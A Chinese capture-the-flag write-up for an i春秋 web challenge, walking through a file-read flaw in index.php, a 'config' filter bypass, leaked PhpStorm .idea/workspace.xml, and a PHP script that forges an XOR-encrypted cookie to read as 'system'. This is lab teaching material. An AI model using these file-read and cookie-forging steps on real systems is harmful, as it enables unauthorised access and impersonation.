这次有意思,上来就是个萌妹子
但我们不能光看妹子,学习更重要!查看一波源码,很长一段,前面提示了是base64(html中图片可以用base64表示,那么用base64表示的文本就是破损图片)

但是我把这段拿去解码却弄不出
1.考虑到文件包含的可能,我就试了下index.php,没反应后再写jpg=index.php这时候就出来新的源码了

<title>file:index.php</title><img src='data:image/gif;base64,PD9waHANCi8q
Kg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbW
U6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRm
LTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MD
t1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0K
ZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcG
xhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNl
KCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY2
9udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2
NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaW
xlPw0KICoNCiAqLw0KDQo/Pg=='></img>

2.有效部分是PD9到Pg==这一段,把他拿去解密

<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";
/** Can you find the flag file?**/
?>

审阅它发现有,过滤规则(将“config”可替换为“_”),web环境(PhpStorm)。
    3.使用phpStorm开发的程序目录下会有一个.idea文件夹用于存储配置文件。通过url访问这个文件夹获得网站更多的结构信息。
     尝试访问:.idea/workspace.xml 会得到长长的一篇码,利用浏览器检索功能(ctrl+F)查找“flag”“fla”“fl”的字样,发现一文件名为”fl3g_ichuqiu.php“
     尝试访问:fl3g_ichuqiu.php   表情包?╮(╯▽╰)╭,回忆,刚刚解析的过滤规则没用上
     尝试访问:fl3gconfigichuqiu.php 没什么用,,,再次利用文件包含漏洞
     尝试访问:index.php?jpg=fl3gconfigichuqiu.php 依旧是一个破损的图片,同第二步解密,得到以下的信息

<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {$hash = '';$max = strlen($chars) - 1;for($i = 0; $i < $length; $i++)    {$hash .= $chars[mt_rand(0, $max)];}return $hash;
}function encrypt($txt,$key){for($i=0;$i<strlen($txt);$i++){$tmp .= chr(ord($txt[$i])+10);}$txt = $tmp;$rnd=random(4);$key=md5($rnd.$key);$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$ttmp .= $txt[$i] ^ $key[++$s];}return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){$txt=base64_decode($txt);$rnd = substr($txt,0,4);$txt = substr($txt,4);$key=md5($rnd.$key);$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$tmp .= $txt[$i]^$key[++$s];}for($i=0;$i<strlen($tmp);$i++){$tmp1 .= chr(ord($tmp[$i])-10);}return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){echo $flag;
}else{setcookie('user',encrypt('guest',$key));echo "╮(╯▽╰)╭";
}
?>

4.利用加解密的手法,自制脚本。(审计源码发现,我们要传输一个cookie让它解密出来是system,这时可以利用在线代码网站写脚本)
      这里我附上一位大佬的源码,,将$cookie_guest=”“;中的内容替换为你的cookie信息

<?phperror_reporting(E_ALL || ~E_NOTICE);$text = 'guest';$cookie_guest = 'dk9FS0hOXUhH'; $cookie_guest = base64_decode($cookie_guest);$rnd = substr($cookie_guest,0,4); $cookie_guest = substr($cookie_guest,4);for ($i = 0; $i < strlen($text); $i++) {$text[$i] = chr(ord($text[$i])+10);}for ($i = 0; $i < strlen($text); $i++) {$key .= ($text[$i] ^ $cookie_guest[$i]);}$text2 = 'system';for ($i = 0; $i < strlen($text2); $i++) {$text2[$i] = chr(ord($text2[$i])+10);}$t = '0123456789abcdef';for ($j = 0; $j < strlen($t); $j++) {$key_temp = $key.$t[$j];$result = '';for ($i = 0; $i < strlen($text2); $i++) {$result .= ($key_temp[$i] ^ $text2[$i]);}$result = base64_encode($rnd.$result);echo $result."\n";}?>

 5.利用Burp Suite抓包爆破尝试,功能选项是Intruder 
 
总结:关键点有三个: * 图片base64编码 * phpsotrm的.idea文件夹 * 加密解密
气泡兔坦!

暑期练习web25:web code(i春秋)index.php文件包含、base64图片加密相关推荐

  1. WEB安全基础-文件下载漏洞以及文件包含漏洞演示

    这个是下面演示的源码,看链接地址找对应文件 http://download.csdn.net/download/qq78442761/10224681 文件下载漏洞 登进网站后运行截图如下: 点击下载 ...

  2. 第31天:WEB漏洞~文件操作之文件包含漏洞全解

    目录 1. 文件包含漏洞 1.1. 原理.检测.类型.修复 1.2. 无限制&有限制的包含 1.2.1 本地包含 1.2.2 远程包含 1.3. 协议流 php:// php://input ...

  3. i春秋 WEB code

    i春秋 WEB code 一天一道CTF题目,能多不能少 打开网页入目的是一张图,查看网页源代码,发现图片是base64的加密,可能存在文件读取,尝试读取index.php的文件,得到源码: < ...

  4. flutter build web时提示“Missing index.html.“

    flutter build web时提示"Missing index.html." 一.环境及版本 Flutter2.0.0 Dart2.12.0 AndroidStudio4.1 ...

  5. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  6. CTFSHOW web入门 命令执行+文件包含+PHP特性

    刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...

  7. web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示

    注(以下环境皆是自己在本机搭建,请勿在公网真实操作) 1.注入 1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶 ...

  8. Goby 漏洞更新 | 瑞友天翼应用虚拟化系统 index.php 文件远程代码执行漏洞

    漏洞名称: 瑞友天翼应用虚拟化系统 index.php 文件远程代码执行漏洞 English Name:Ruiyou Tianyi Application Virtualization System ...

  9. Web安全之文件包含漏洞

    什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...

最新文章

  1. 乱谈管理(优秀部门经理的职业素质)
  2. 〔转〕Word域的应用和详解10_域的应用例子
  3. 【14】全歌王歌后合集
  4. 【微信小程序】给绑定事件传参数
  5. 如何开发Web应用程序(非网站)
  6. centos mysql jar 驱动包_JDBC连接MySQL的数据库
  7. sql server 游标的使用方法
  8. ListView排序并隔色显示
  9. html word classid,html之object标签的classid收集
  10. Spring的cache缓存介绍
  11. matlab移相变压器,18脉移相变压器+三相不可控桥式整流的MATLAB仿真
  12. 打印机驱动是什么,打印机驱动有什么用,一定要安装打印机驱动吗
  13. win10无法修改mac地址_Oops,手机MAC地址也可以随机了
  14. 如何将PDF分成每页单独的PDF?3种PDF拆分的方法
  15. oracle拆分分区语法详解大全_Oracle分区表详解
  16. 面试题:浏览器事件冒泡、事件捕获
  17. JS 堆栈事件调用(同步调用、异步调用);消息队列和作业队列
  18. 利用装饰器模拟博客园登陆
  19. Android App 可以定时启动! 并且完成短信自动发送获取内容功能 (以获取闪讯密码为例 大学宿舍宽带)
  20. 2021年终总结:提高认知,摆脱传统工科桎梏

热门文章

  1. Linux单机运行vasp,VASP单机编译
  2. JimuReport积木报表(SQLserver)主子表关联查询
  3. 环境初始化与数据清除
  4. Serialize的理解
  5. Oracle创建多个(大量)属性表,建表语句如下,案例是创建509个属性的表
  6. HotStuff: BFT Consensus in the Lens of Blockchain
  7. HDU 6082 度度熊与邪恶大魔王(01背包)
  8. PCL:点云赋色 | 自定义点云中任意一点的颜色
  9. 全球及中国乙二醇单己基醚行业市场深度调研及投资趋势分析报告2022-2028年
  10. Unable to negotiate with 123.4.47.238 port 29418: no matching host key type found. Their offer: ssh-